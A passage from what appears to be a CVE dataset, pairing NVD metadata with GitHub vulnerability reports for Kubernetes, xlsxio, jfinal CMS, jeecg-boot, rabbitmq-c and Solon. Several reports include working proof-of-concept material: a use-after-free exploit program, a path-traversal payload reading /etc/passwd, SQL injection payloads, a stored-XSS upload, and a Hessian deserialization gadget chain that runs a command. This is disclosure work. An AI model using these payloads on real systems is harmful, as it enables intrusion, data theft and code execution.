"criteria": "cpe:2.3:o:fedoraproject:fedora:38:*:*:*:*:*:*:*",
"matchCriteriaId": "CC559B26-5DFC-4B7A-A27C-B77DE755DFF9",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"1287"
] | 1287 | https://github.com/kubernetes/kubernetes/issues/118690 | [
"Issue Tracking"
] | github.com | [
"kubernetes",
"kubernetes"
] | ### What happened?
A security issue was discovered in Kubelet that allows pods to bypass the seccomp profile enforcement. This issue has been rated LOW ([CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N)) (score: 3.4).
If you have pods in your cluster that use [localhost type](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#seccompprofile-v1-core) for seccomp profile but specify an empty profile field, then you are affected by this issue. In this scenario, this vulnerability allows the pod to run in “unconfined” (seccomp disabled) mode. This bug affects Kubelet.
### How can we reproduce it (as minimally and precisely as possible)?
This can be reproduced by creating a pod with following sample seccomp Localhost profile -
```
localhostProfile: ""
```
https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.27/#seccompprofile-v1-core
### Kubernetes version
**Affected Versions**
v1.27.0 - v1.27.1
v1.26.0 - v1.26.4
v1.25.0 - v1.25.9
<= v1.24.13
**Fixed Versions**
v1.27.2
v1.26.5
v1.25.10
V1.24.14
### Anything else we need to know?
How do I remediate this vulnerability?
To remediate this vulnerability you should upgrade your Kubelet to one of the below mentioned versions.
Acknowledgements
This vulnerability was reported by Tim Allclair, and fixed by Craig Ingram. | CVE-2023-2431: Bypass of seccomp profile enforcement | https://api.github.com/repos/kubernetes/kubernetes/issues/118690/comments | 6 | 2023-06-15T14:42:32Z | 2023-09-29T21:16:18Z | https://github.com/kubernetes/kubernetes/issues/118690 | 1,758,988,605 | 118,690 | 5,271 |
CVE-2023-34795 | 2023-06-16T16:15:09.357 | xlsxio v0.1.2 to v0.2.34 was discovered to contain a free of uninitialized pointer in the xlsxioread_sheetlist_close() function. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted XLSX file. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "HIGH",
"baseScore": 7.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/brechtsanders/xlsxio/commit/d653f1604b54532f11b45dca1fa164b4a1f15e2d"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/brechtsanders/xlsxio/issues/121"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/xf1les/cve-advisories/blob/main/2023/CVE-2023-34795.md"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/brechtsanders/xlsxio/commit/d653f1604b54532f11b45dca1fa164b4a1f15e2d"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/brechtsanders/xlsxio/issues/121"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Third Party Advisory"
],
"url": "https://github.com/xf1les/cve-advisories/blob/main/2023/CVE-2023-34795.md"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:xlsxio_project:xlsxio:*:*:*:*:*:*:*:*",
"matchCriteriaId": "50C87490-7803-4A95-BAC2-918336FB88C6",
"versionEndExcluding": null,
"versionEndIncluding": "0.2.34",
"versionStartExcluding": null,
"versionStartIncluding": "0.1.2",
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"416"
] | 416 | https://github.com/brechtsanders/xlsxio/issues/121 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"brechtsanders",
"xlsxio"
] | Hi. I found a free of uninitialized pointer vulnerability while fuzzing [libxlsxio_read 0.2.34](https://github.com/brechtsanders/xlsxio/releases/tag/0.2.34) with [AFL++](https://github.com/AFLplusplus/AFLplusplus) and [AddressSanitizer](https://clang.llvm.org/docs/AddressSanitizer.html). This bug could be triggered by a malformed XLSX file, and cause a [Denial of Service (DoS)](https://en.wikipedia.org/wiki/Denial-of-service_attack) by crashing program or potentially a [Remote Code Execution (RCE)](https://en.wikipedia.org/wiki/Arbitrary_code_execution) by hijacking some function pointers via Use-After-Free (UAF).
## Description
In [`xlsxioread_sheetlist_open()`](https://github.com/brechtsanders/xlsxio/blob/0.2.34/lib/xlsxio_read.c#L1392), `result` is a pointer to [`struct xlsxio_read_sheetlist_struct`](https://github.com/brechtsanders/xlsxio/blob/0.2.34/lib/xlsxio_read.c#L1369) object to be initialized. If `XML_Char_openzip()` fails (returns `NULL`), `result->xmlparser` remains uninitialized and then `xlsxioread_sheetlist_open()` returns `result` to user directly.
```c
// xlsxio_read.c:1414, xlsxioread_sheetlist_open()
if ((result->zipfile = XML_Char_openzip(handle->zip, mainsheetfile, 0)) != NULL) {
result->xmlparser = expat_process_zip_file_suspendable(result->zipfile, main_sheet_list_expat_callback_element_start, NULL, NULL, &result->sheetcallbackdata);
}
```
When user calls [`xlsxioread_sheetlist_close()`](https://github.com/brechtsanders/xlsxio/blob/0.2.34/lib/xlsxio_read.c#L1422) to destroy `struct xlsxio_read_sheetlist_struct` object, this uninitialized pointer `xmlparser` will be passed to `XML_ParserFree()`, leading to freeing arbitrary pointers.
```c
// xlsxio_read.c:1426, xlsxioread_sheetlist_close()
if (sheetlisthandle->xmlparser)
XML_ParserFree(sheetlisthandle->xmlparser);
```
## System information
```
Ubuntu 20.04.6 LTS
GNU C Library (Ubuntu GLIBC 2.31-0ubuntu9.9) stable release version 2.31.
gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)
Ubuntu clang version 11.1.0-++20211011094159+1fdec59bffc1-1~exp1~20211011214622.5
cmake 3.16.3-1ubuntu1.20.04.1
libexpat1 2.2.9-1ubuntu0.6
libminizip1 1.1-8build1
```
## Reproduction
<details><summary>Script to build test program</summary>
```
#!/bin/sh
PREFIX=/tmp/build
wget https://github.com/brechtsanders/xlsxio/releases/download/0.2.34/xlsxio-0.2.34.tar.xz
tar -xvf xlsxio-0.2.34.tar.xz
cd xlsxio-0.2.34
# patch may complain different line endings, I don't know why :(
patch -p1 < /path/to/attachment_fuzz/fuzz.patch
mkdir _build && cd _build/
export LLVM_CONFIG="llvm-config-11"
cmake -G"Unix Makefiles" \
-DCMAKE_C_COMPILER="clang-11" \
-DCMAKE_CXX_COMPILER="clang++-11" \
-DCMAKE_INSTALL_PREFIX="${PREFIX}" \
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
-DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" \
-DBUILD_STATIC=ON \
-DBUILD_SHARED=OFF \
-DWITH_WIDE=OFF \
-DBUILD_EXAMPLES=OFF \
-DBUILD_TOOLS=OFF \
-DBUILD_DOCUMENTATION=OFF \
..
make install
```
</details>
[attachment_fuzz.zip](https://github.com/brechtsanders/xlsxio/files/11601356/attachment_fuzz.zip)
```
$ ./fuzz malformed.xlsx
Available sheets:
AddressSanitizer:DEADLYSIGNAL
=================================================================
==13887==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x7f7248790798 bp 0x7fff4fe90410 sp 0x7fff4fe903b0 T0)
==13887==The signal is caused by a READ memory access.
==13887==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used.
#0 0x7f7248790798 in XML_ParserFree lib/../../src/lib/xmlparse.c:1327:11
#1 0x4d163b in xlsxioread_sheetlist_close (/tmp/xlsxio-0.2.34/_build/fuzz+0x4d163b)
#2 0x4c7027 in fuzz (/tmp/xlsxio-0.2.34/_build/fuzz+0x4c7027)
#3 0x4c7570 in fuzz_from_file (/tmp/xlsxio-0.2.34/_build/fuzz+0x4c7570)
#4 0x4c7631 in main (/tmp/xlsxio-0.2.34/_build/fuzz+0x4c7631)
#5 0x7f7248416082 in __libc_start_main /build/glibc-SzIz7B/glibc-2.31/csu/../csu/libc-start.c:308:16
#6 0x41d46d in _start (/tmp/xlsxio-0.2.34/_build/fuzz+0x41d46d)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV lib/../../src/lib/xmlparse.c:1327:11 in XML_ParserFree
==13887==ABORTING
```
malformed.xlsx can be found in attachment_poc.zip.
## PoC
The following PoC could perform a RCE attack by corrupting a freed `XML_Parser` object, making target program try to execute on an attacker-specified address (e.g. `0x4141414141414141`).
<details><summary>Script to build PoC program</summary>
```bash
#!/bin/sh
wget https://github.com/brechtsanders/xlsxio/releases/download/0.2.34/xlsxio-0.2.34.tar.xz
tar -xvf xlsxio-0.2.34.tar.xz
cd xlsxio-0.2.34
make
cp /path/to/attachment_poc/poc.c /path/to/attachment_poc/*.xlsx .
gcc -c -o poc.static.o poc.c -DBUILD_XLSXIO_STATIC -g -Iinclude -Ilib -DUSE_MINIZIP
gcc -o poc poc.static.o libxlsxio_read.a -lminizip -lexpat
```
</details>
[attachment_poc.zip](https://github.com/brechtsanders/xlsxio/files/11601361/attachment_poc.zip)
```c
// FILE: poc.c
#include <stdlib.h>
#include <string.h>
#include "xlsxio_read.h"
int main()
{
xlsxioreader reader1, reader2, reader3;
xlsxioreadersheetlist sheetlist1, sheetlist2, sheetlist3;
xlsxioreadersheet sheet2;
// Stage 1: prepare for exploition
reader1 = xlsxioread_open("contains_payload.xlsx");
reader2 = xlsxioread_open("normal.xlsx");
reader3 = xlsxioread_open("malformed.xlsx");
sheetlist1 = xlsxioread_sheetlist_open(reader1);
// Stage 2: allocate a XML_Parser object then free it immediately
sheetlist2 = xlsxioread_sheetlist_open(reader2);
xlsxioread_sheetlist_close(sheetlist2);
sheetlist2 = NULL;
// Stage 3: create a sheetlist object whose xmlparser member refers to freed XML_Parser object,
// then reallocate the XML_Parser object to a sheet object
// Now: sheet2->processcallbackdata.xmlparser == sheetlist3->xmlparser
sheetlist3 = xlsxioread_sheetlist_open(reader3); // BUG
sheet2 = xlsxioread_sheet_open(reader2, NULL, 0);
// Stage 4: free XML_Parser object again via sheetlist3
xlsxioread_sheetlist_close(sheetlist3);
sheetlist3 = NULL;
// Stage 5: corrupt freed XML_Parser object
xlsxioread_sheetlist_next(sheetlist1);
// It does something like this:
//~ char *p = malloc(0x3a0); // the length of xmlparser object depends on libexpat version
//~ memset(p, 'A', 0x3a0);
// Stage6 : call corrupted function pointer in XML_Parser object
xlsxioread_sheet_next_cell(sheet2); // Should crash on $rip = 0x4141414141414141
}
```

## Suggested fix
This simple patch should fix it:
```patch
--- a/lib/xlsxio_read.c
+++ b/lib/xlsxio_read.c
@@ -1407,6 +1407,7 @@ DLL_EXPORT_XLSXIO xlsxioreadersheetlist
if ((result = (xlsxioreadersheetlist)malloc(sizeof(struct xlsxio_read_sheetlist_struct))) == NULL)
return NULL;
result->handle = handle;
+ result->xmlparser = NULL;
result->sheetcallbackdata.xmlparser = NULL;
result->sheetcallbackdata.callback = xlsxioread_list_sheets_resumable_callback;
result->sheetcallbackdata.callbackdata = result;
``` | [CVE-2023-34795] Free of uninitialized pointer in xlsxioread_sheetlist_close() | https://api.github.com/repos/brechtsanders/xlsxio/issues/121/comments | 1 | 2023-05-30T15:01:11Z | 2023-06-16T08:21:02Z | https://github.com/brechtsanders/xlsxio/issues/121 | 1,732,459,090 | 121 | 5,272 |
CVE-2023-34645 | 2023-06-16T18:15:09.367 | jfinal CMS 5.1.0 has an arbitrary file read vulnerability. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
},
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 3.6,
"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
"type": "Secondary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/jflyfox/jfinal_cms/issues/57"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/jflyfox/jfinal_cms/issues/57"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jflyfox:jfinal_cms:5.1.0:*:*:*:*:*:*:*",
"matchCriteriaId": "9B33E946-BD15-449C-B736-013773A64DF6",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"552"
] | 552 | https://github.com/jflyfox/jfinal_cms/issues/57 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"jflyfox",
"jfinal_cms"
] | Project address:
https://github.com/jflyfox/jfinal_cms
official website:
http://mtg.jflyfox.com/
Enter the background, edit /template/includes/jquery.html in the template management , poc is as follows
${printFile('../../../../../../../../../../../../../../../etc/passwd')}

Reopen the homepage http://localhost:8877/jfinal_cms/ , can see /etc/passwd

| jfinal CMS v5.1.0 has a arbitrary file reading vulnerability exists | https://api.github.com/repos/jflyfox/jfinal_cms/issues/57/comments | 0 | 2023-05-26T06:20:05Z | 2023-05-26T06:20:05Z | https://github.com/jflyfox/jfinal_cms/issues/57 | 1,726,977,639 | 57 | 5,273 |
CVE-2023-34659 | 2023-06-16T18:15:09.437 | jeecg-boot 3.5.0 and 3.5.1 have a SQL injection vulnerability the id parameter of the /jeecg-boot/jmreport/show interface. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4976"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Vendor Advisory"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4976"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.5.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FEDFF952-7B1F-44EB-98BA-265CB22D6FB3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "52891D2B-E0C4-4263-9804-45F1551B5142",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"89"
] | 89 | https://github.com/jeecgboot/jeecg-boot/issues/4976 | [
"Exploit",
"Vendor Advisory"
] | github.com | [
"jeecgboot",
"jeecg-boot"
] |
##### 版本号:
JECG3.5.1 And JECG3.5.0
##### 前端版本:vue3版?还是 vue2版?
vue3
##### 问题描述:
After testing, it was found that the id parameter of the/jeecg-boot/jmreport/show interface of jeecg-boot has SQL injection and is unauthorized.
##### 截图&代码:
Download and use https://github.com/jeecgboot/jeecg-boot After the project source code starts,
Entry: "Statistical Report" -->"Example of Building Block Report"
Grab the package and obtain the SQL injection interface. The following figure proves the existence of SQL injection.


Payload (check MySQL version):
{"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"}

Payload (view current database):
{"id":"961455b47c0b86dc961e90b5893bff05","apiUrl":"","params":"{\"id\":\"1' or '%1%' like (updatexml(0x3a,concat(1,(select database())),1)) or '%%' like '\"}"}

Source code analysis:
In the org. jeecg. modules. jmreport. descreport. a package, a.java is a controller; When it comes to post requests/jeecg boot/jmreport/show, it will come to this method.

Using burp for contracting

Then, line 315 passes var3 into jmReportDesignService. show; Let's follow in and take a look.

Enter getDataById on line 2122

Then on line 248, reportDbDao. selectList was called

Entered the JmReportDb class and obtained dbDynSql as: select * from rep_ demo_ gongsi where id='${id}'。 Confirmed as the ID of the splice

The interface this.reportDbDao. selectListBySql was called at line 468 in the e-class of the org. jeecg. modules. jmreport. descreport. service. a package.

This interface is a MyBatis method that uses @ ResultType and @ Param annotations. DbDynSql called


Finally, the database name was obtained through error injection

#### 友情提示(为了提高issue处理效率):
- 未按格式要求发帖,会被直接删掉;
- 描述过于简单或模糊,导致无法处理的,会被直接删掉;
- 请自己初判问题描述是否清楚,是否方便我们调查处理;
- 针对问题请说明是Online在线功能(需说明用的主题模板),还是生成的代码功能;
| Unauthorized SQL injection in Jeecg3.5.0 and 3.5.1 | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4976/comments | 3 | 2023-05-25T02:08:54Z | 2023-06-18T13:06:06Z | https://github.com/jeecgboot/JeecgBoot/issues/4976 | 1,724,968,984 | 4,976 | 5,274 |
CVE-2023-34660 | 2023-06-16T18:15:09.483 | jjeecg-boot V3.5.0 has an unauthorized arbitrary file upload in /jeecg-boot/jmreport/upload interface. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 6.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Exploit"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4990"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit"
],
"url": "https://github.com/jeecgboot/jeecg-boot/issues/4990"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.5.0:*:*:*:*:*:*:*",
"matchCriteriaId": "FEDFF952-7B1F-44EB-98BA-265CB22D6FB3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
},
{
"criteria": "cpe:2.3:a:jeecg:jeecg_boot:3.5.1:*:*:*:*:*:*:*",
"matchCriteriaId": "52891D2B-E0C4-4263-9804-45F1551B5142",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"434"
] | 434 | https://github.com/jeecgboot/jeecg-boot/issues/4990 | [
"Exploit"
] | github.com | [
"jeecgboot",
"jeecg-boot"
] | ##### 版本号:
目前确定影响:3.5.0 & 3.5.1(其它版本未验证)
##### 前端版本:vue3版?还是 vue2版?
vue3版
##### 问题描述:
经测试发现/jeecg-boot/jmreport/upload接口存在未授权任意文件上传,可以上传html文件造成存储型的XSS。
##### 截图&代码:
下载使用https://github.com/jeecgboot/jeecg-boot项目源代码启动项目后,
入口:“报表设计器”-->"新建报表"-->"插入图片"
抓取包,获得上传接口,下面证明任意文件上传的存在。



修改后缀为html,添加js代码

访问后,成功执行

尝试上传sh,上传成功

###源码分析
在org.jeecg.modules.jmreport.desreport.a包里面的a.java是一个controller;当做post请求/jeecg-boot/jmreport/upload的时候就会来到这个方法里面。

进行判断了之后,然后进入LOCAL方法,我们跟进去一直来到了a方法。这里只是做了“../”的过滤。

然后调用getUpload()获取存储的路径,做了一系列的赋值之后,来到var8得到了最终的路径,然后通过new File传进var8的值,创建了新的文件,至此实现了任意文件类型的上传。

#### 友情提示(为了提高issue处理效率):
- 未按格式要求发帖,会被直接删掉;
- 描述过于简单或模糊,导致无法处理的,会被直接删掉;
- 请自己初判问题描述是否清楚,是否方便我们调查处理;
- 针对问题请说明是Online在线功能(需说明用的主题模板),还是生成的代码功能;
| /jeecg-boot/jmreport/upload接口存在未授权任意文件上传 | https://api.github.com/repos/jeecgboot/JeecgBoot/issues/4990/comments | 4 | 2023-05-28T14:23:40Z | 2023-09-04T09:33:58Z | https://github.com/jeecgboot/JeecgBoot/issues/4990 | 1,729,493,887 | 4,990 | 5,275 |
CVE-2023-35789 | 2023-06-16T21:15:09.383 | An issue was discovered in the C AMQP client library (aka rabbitmq-c) through 0.13.0 for RabbitMQ. Credentials can only be entered on the command line (e.g., for amqp-publish or amqp-consume) and are thus visible to local attackers by listing a process and its arguments. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "LOCAL",
"availabilityImpact": "NONE",
"baseScore": 5.5,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"exploitabilityScore": 1.8,
"impactScore": 3.6,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/alanxz/rabbitmq-c/issues/575"
},
{
"source": "cve@mitre.org",
"tags": [
"Patch"
],
"url": "https://github.com/alanxz/rabbitmq-c/pull/781"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Issue Tracking"
],
"url": "https://github.com/alanxz/rabbitmq-c/issues/575"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Patch"
],
"url": "https://github.com/alanxz/rabbitmq-c/pull/781"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:rabbitmq-c_project:rabbitmq-c:*:*:*:*:*:*:*:*",
"matchCriteriaId": "0779926A-A815-414D-AC29-05303D1FE451",
"versionEndExcluding": null,
"versionEndIncluding": "0.13.0",
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"522"
] | 522 | https://github.com/alanxz/rabbitmq-c/issues/575 | [
"Issue Tracking"
] | github.com | [
"alanxz",
"rabbitmq-c"
] | Hi,
the command line tools like amqp-publish and amqp-consume are insecure, since the username/password can be given as a command line parameter either with --password= or as part of the URL given with --url.
Passwords given as command line parameters are insecure, since they can be seen in the process list.
It should have alternative options to have the password read from a given file or pipe.
| insecure password option | https://api.github.com/repos/alanxz/rabbitmq-c/issues/575/comments | 1 | 2019-09-19T12:39:14Z | 2023-06-13T12:21:54Z | https://github.com/alanxz/rabbitmq-c/issues/575 | 495,773,020 | 575 | 5,276 |
CVE-2023-35839 | 2023-06-19T01:15:08.667 | A bypass in the component sofa-hessian of Solon before v2.3.3 allows attackers to execute arbitrary code via providing crafted payload. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 9.8,
"baseSeverity": "CRITICAL",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 3.9,
"impactScore": 5.9,
"source": "nvd@nist.gov",
"type": "Primary"
}
],
"cvssMetricV40": null
} | [
{
"source": "cve@mitre.org",
"tags": [
"Release Notes"
],
"url": "https://github.com/noear/solon/compare/v2.3.2...v2.3.3"
},
{
"source": "cve@mitre.org",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/noear/solon/issues/145"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Release Notes"
],
"url": "https://github.com/noear/solon/compare/v2.3.2...v2.3.3"
},
{
"source": "af854a3a-2127-422b-91ae-364da2661108",
"tags": [
"Exploit",
"Issue Tracking"
],
"url": "https://github.com/noear/solon/issues/145"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:solon:solon:*:*:*:*:*:*:*:*",
"matchCriteriaId": "60BE5319-4654-44C4-AD07-D374BD8F863D",
"versionEndExcluding": "2.3.3",
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | [
"502"
] | 502 | https://github.com/noear/solon/issues/145 | [
"Exploit",
"Issue Tracking"
] | github.com | [
"noear",
"solon"
] | # Problem
I noticed that [issues73](https://github.com/noear/solon/issues/73) mentioned the solon got an RCE problem because of the `solon.serialization.hessian`, and the developer used the `sofa-hessian` to fix it. However, the `sofa-hessian` also can be bypassed.
# Reproduce
## The server side
I built a project based on the official example [https://github.com/noear/solon-examples/tree/main/3.Solon-Web/demo3041-gateway](https://github.com/noear/solon-examples/tree/main/3.Solon-Web/demo3041-gateway), and you can get it in this [repo](https://github.com/gfast777-sec/solon-example). I only made a little bit of modification in `UserServiceImpl.java` to make it has the ability to receive data from the HTTP body:
```
/**
* @author noear 2021/4/22 created
*/
@Component
public class UserServiceImpl implements UserService {
@Inject
UserDao userDao;
@Override
public UserModel getUser(String name) {
UserModel user = userDao.getUser();
return user;
}
}
```
Besides, Jdk8u92 is used when running this app.
## PoC
You can get the malicious serialization data by running the following codes:
```
String cmd = "touch /tmp/evilfile";
Field theUnsafe = Unsafe.class.getDeclaredField("theUnsafe");
theUnsafe.setAccessible(true);
Unsafe unsafe = (Unsafe) theUnsafe.get(null);
Object unixPrintServiceLookup = unsafe.allocateInstance(UnixPrintServiceLookup.class);
setFieldValue(unixPrintServiceLookup, "cmdIndex", 0);
setFieldValue(unixPrintServiceLookup, "osname", "xx");
setFieldValue(unixPrintServiceLookup, "lpcFirstCom", new String[]{cmd, cmd, cmd});
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", unixPrintServiceLookup);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
Hessian2Output hessianOutput = new Hessian2Output(byteArrayOutputStream);
hessianOutput.setSerializerFactory(new SerializerFactory());
hessianOutput.getSerializerFactory().setAllowNonSerializable(true);
hessianOutput.writeObject(jsonObject);
hessianOutput.flushBuffer();
byte[] data = byteArrayOutputStream.toByteArray();
byte[] poc = new byte[data.length + 1];
System.arraycopy(new byte[]{67}, 0, poc, 0, 1);
System.arraycopy(data, 0, poc, 1, data.length);
FileOutputStream fileOutputStream=new FileOutputStream(new File("/tmp/ser"));
fileOutputStream.write(poc);
```
One thing should be noticed is that this payload only works on Unix-like OS as the other platforms do not have `UnixPrintServiceLookup`. After that, the official plugin `solon.serialization.fastjson` also needs to introduce.
Then, you can use the Python script to send the malicious data to the app(For convenience, I copy the script from issues73):
```
with open("/tmp/ser","rb") as f:
body= f.read()
print(len(body))
burp0_url = "http://192.168.31.252:8080/rpc/v1/user/getUser"
